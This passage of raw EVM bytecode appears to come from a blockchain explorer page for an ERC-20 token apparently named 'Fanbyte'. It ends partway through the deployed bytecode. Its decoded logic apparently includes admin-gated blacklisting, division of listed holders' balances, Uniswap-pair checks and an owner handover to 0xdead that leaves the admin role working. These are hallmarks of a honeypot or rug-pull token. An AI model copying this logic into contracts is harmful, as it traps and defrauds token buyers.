57601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146118a957600c849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b5b5b5b5b60006007541115611abc5760001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611abb57600015156000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611aba57600654831015611ab9578073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611ab857601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611ab757601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611ab657600d849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b5b5b5b5b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c035782600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611b7857600080fd5b82600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cdf573073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611cde576012830a600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b5b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611db6573073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611db5576012830a600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b5b60006007541115611dd657611dcc858585612f93565b611dd557600080fd5b5b82600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611e2257600080fd5b82600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150505b9392505050565b601281565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611fd957506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ffa5783600781905550826008819055506012600a0a82026006819055505b600190509392505050565b600c818154811061201557600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60065481565b60055481565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806120fc57506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156121bb5760005b600b805490508110156121ab57600554600e6000600b848154811061212557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282548161219657fe5b04925050819055508080600101915050612104565b50600b60006121ba9190613215565b5b6001905090565b600e6020528060005260406000206000915090505481565b60006020528060005260406000206000915054906101000a900460ff1681565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806122a057506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122fd5760016000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b60019050919050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806123ac57506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561246c5760005b600c8054905081101561245c576001806000600c84815481106123d357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506123b4565b50600c600061246b9190613215565b5b6001905090565b60095481565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061251f57506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125475784600381905550836004819055506012600a0a8302600681905550816005819055505b60019050949350505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60128054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156126095780601f106125de57610100808354040283529160200191612609565b820191906000526020600020905b8154815290600101906020018083116125ec57829003601f168201915b505050505081565b600a818154811061262157600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806126fc57506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156127bc5760005b600d805490508110156127ac576001806000600d848154811061272357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050612704565b50600d60006127bb9190613215565b5b6001905090565b60006127d0338484611231565b905092915050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061287e57506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a0b5760005b8351811015612a0957600084828151811061289d57fe5b60200260200101519050600085518502905080600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156128fb57600080fd5b84600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555084600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a350508080600101915050612886565b505b6001905092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a9b57600080fd5b61dead73ffffffffffffffffffffffffffffffffffffffff16601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f602052816000526040600020602052806000526040600020600091509150505481565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612c2957506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ce85760005b600a80549050811015612cd857600554600e6000600a8481548110612c5257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825481612cc357fe5b04925050819055508080600101915050612c31565b50600a6000612ce79190613215565b5b6001905090565b60085481565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612d9b57506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612e3d5760005b83839050811015612e3b57600160026000868685818110612dc057fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050612da3565b505b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1610612e86578385612e89565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b600080612fc9735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230612e47565b9050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614806130745750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806130aa57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806130fd57506000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806131515750600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561316057600191505061320e565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156131bc57600091505061320e565b82600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561320857600080fd5b60019150505b9392505050565b50805460008255906000526020600020908101906132339190613236565b50565b5b8082111561324f576000816000905550600101613237565b509056fea2646970667358221220cdc96f1fdc12410555b4d0a4a0cadb759cf2f5a937817142de65549e9ea047dc64736f6c63430007060033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000746616e62797465000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003464e420000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101ee5760003560e01c80638a4068dd1161010d578063a9059cbb116100a0578063c2af913b1161006f578063c2af913b14610b73578063dd62ed3e14610b8a578063ed21248c14610c0f578063f000179314610c3c578063fb7ed96114610c67576101ee565b8063a9059cbb146109be578063aa2f522014610a22578063b2bdfa7b14610b07578063b3e28def14610b48576101ee565b806395d89b41116100dc57806395d89b4114610871578063960f3a7614610901578063a2e6204514610966578063a8735a9b14610991576101ee565b80638a4068dd146107435780638a609b7d146107705780638c7a59b01461079b5780638fdb86301461080a576101ee565b8063414eb1921161018557806357ea89b61161015457806357ea89b6146105f957806370a0823114610626578063713724f01461068b57806377b92c07146106f2576101ee565b8063414eb192146105135780634615de46146105785780635348e9cf146105a35780635777e93d146105ce576101ee565b806318160ddd116101c157806318160ddd146103d457806323b872dd146103ff578063313ce567146104835780633beeb97c146104ae576101ee565b806306fdde03146101f3578063095ea7b3146102835780630ac7bda3146102e7578063164f7b2a14610383575b600080fd5b3480156101ff57600080fd5b50610208610d03565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561024857808201518184015260208101905061022d565b50505050905090810190601f1680156102755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102cf6004803603604081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610da1565b60405180821515815260200191505060405180910390f35b3480156102f357600080fd5b5061036b6004803603602081101561030a57600080fd5b810190808035906020019064010000000081111561032757600080fd5b82018360208201111561033957600080fd5b8035906020019184602083028401116401000000008311171561035b57600080fd5b909192939192939050505061101d565b60405180821515815260200191505060405180910390f35b34801561038f57600080fd5b506103bc600480360360208110156103a657600080fd5b810190808035906020019092919050505061116f565b60405180821515815260200191505060405180910390f35b3480156103e057600080fd5b506103e961122b565b6040518082815260200191505060405180910390f35b61046b6004803603606081101561041557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611231565b60405180821515815260200191505060405180910390f35b34801561048f57600080fd5b50610498611f2e565b6040518082815260200191505060405180910390f35b3480156104ba57600080fd5b506104fb600480360360608110156104d157600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611f33565b60405180821515815260200191505060405180910390f35b34801561051f57600080fd5b5061054c6004803603602081101561053657600080fd5b8101908080359060200190929190505050612005565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058457600080fd5b5061058d612044565b6040518082815260200191505060405180910390f35b3480156105af57600080fd5b506105b861204a565b6040518082815260200191505060405180910390f35b3480156105da57600080fd5b506105e3612050565b6040518082815260200191505060405180910390f35b34801561060557600080fd5b5061060e612056565b60405180821515815260200191505060405180910390f35b34801561063257600080fd5b506106756004803603602081101561064957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121c2565b6040518082815260200191505060405180910390f35b34801561069757600080fd5b506106da600480360360208110156106ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121da565b60405180821515815260200191505060405180910390f35b3480156106fe57600080fd5b5061072b6004803603602081101561071557600080fd5b81019080803590602001909291905050506121fa565b60405180821515815260200191505060405180910390f35b34801561074f57600080fd5b50610758612306565b60405180821515815260200191505060405180910390f35b34801561077c57600080fd5b50610785612473565b6040518082815260200191505060405180910390f35b3480156107a757600080fd5b506107f2600480360360808110156107be57600080fd5b8101908080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612479565b60405180821515815260200191505060405180910390f35b34801561081657600080fd5b506108596004803603602081101561082d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612553565b60405180821515815260200191505060405180910390f35b34801561087d57600080fd5b50610886612573565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108c65780820151818401526020810190506108ab565b50505050905090810190601f1680156108f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561090d57600080fd5b5061093a6004803603602081101561092457600080fd5b8101908080359060200190929190505050612611565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561097257600080fd5b5061097b612650565b6040518082815260200191505060405180910390f35b34801561099d57600080fd5b506109a6612656565b60405180821515815260200191505060405180910390f35b610a0a600480360360408110156109d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506127c3565b60405180821515815260200191505060405180910390f35b348015610a2e57600080fd5b50610aef60048036036040811015610a4557600080fd5b8101908080359060200190640100000000811115610a6257600080fd5b820183602082011115610a7457600080fd5b80359060200191846020830284011164010000000083111715610a9657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291905050506127d8565b60405180821515815260200191505060405180910390f35b348015610b1357600080fd5b50610b1c612a15565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b5457600080fd5b50610b5d612a3b565b6040518082815260200191505060405180910390f35b348015610b7f57600080fd5b50610b88612a41565b005b348015610b9657600080fd5b50610bf960048036036040811015610bad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b5e565b6040518082815260200191505060405180910390f35b348015610c1b57600080fd5b50610c24612b83565b60405180821515815260200191505060405180910390f35b348015610c4857600080fd5b50610c51612cef565b6040518082815260200191505060405180910390f35b348015610c7357600080fd5b50610ceb60048036036020811015610c8a57600080fd5b8101908080359060200190640100000000811115610ca757600080fd5b820183602082011115610cb957600080fd5b80359060200191846020830284011164010000000083111715610cdb57600080fd5b9091929391929390505050612cf5565b60405180821515815260200191505060405180910390f35b60118054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d995780601f10610d6e57610100808354040283529160200191610d99565b820191906000526020600020905b815481529060010190602001808311610d7c57829003601f168201915b505050505081565b6000806004541115610e675760005b600a80549050811015610e5757600554600e6000600a8481548110610dd157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825481610e4257fe5b04925050819055508080600101915050610db0565b50600a6000610e669190613215565b5b60006008541115610f2d5760005b600c80549050811015610f1d576001806000600c8481548110610e9457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610e75565b50600c6000610f2c9190613215565b5b81600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110c357506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111655760005b83839050811015611163576000600260008686858181106110e857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506110cb565b505b6001905092915050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061121557506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561122257816009819055505b60019050919050565b60105481565b6000806009541461124157600080fd5b60008214156112535760019050611f27565b6000611288735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230612e47565b9050600060035411156114965760001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561149557600015156000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611494576006548310611493578073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461149257601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461149157601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461149057600a849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b5b5b5b5b600060035411156116a35760001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156116a257600015156000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156116a1576006548310156116a0578073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461169f57601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461169e57601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461169d57600b849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b5b5b5b5b600060075411156118af5760001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156118ae57600015156000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156118ad5760065483106118ac578073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146118ab57601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16146118aa57601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146118a957600c849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b5b5b5b5b60006007541115611abc5760001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611abb57600015156000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611aba57600654831015611ab9578073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611ab857601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611ab757601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611ab657600d849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b5b5b5b5b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c035782600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611b7857600080fd5b82600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cdf573073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611cde576012830a600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b5b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611db6573073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611db5576012830a600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b5b60006007541115611dd657611dcc858585612f93565b611dd557600080fd5b5b82600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611e2257600080fd5b82600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150505b9392505050565b601281565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611fd957506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ffa5783600781905550826008819055506012600a0a82026006819055505b600190509392505050565b600c818154811061201557600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60065481565b60055481565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806120fc57506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156121bb5760005b600b805490508110156121ab57600554600e6000600b848154811061212557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282548161219657fe5b04925050819055508080600101915050612104565b50600b60006121ba9190613215565b5b6001905090565b600e6020528060005260406000206000915090505481565b60006020528060005260406000206000915054906101000a900460ff1681565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806122a057506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122fd5760016000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b60019050919050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806123ac57506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561246c5760005b600c8054905081101561245c576001806000600c84815481106123d357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506123b4565b50600c600061246b9190613215565b5b6001905090565b60095481565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061251f57506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190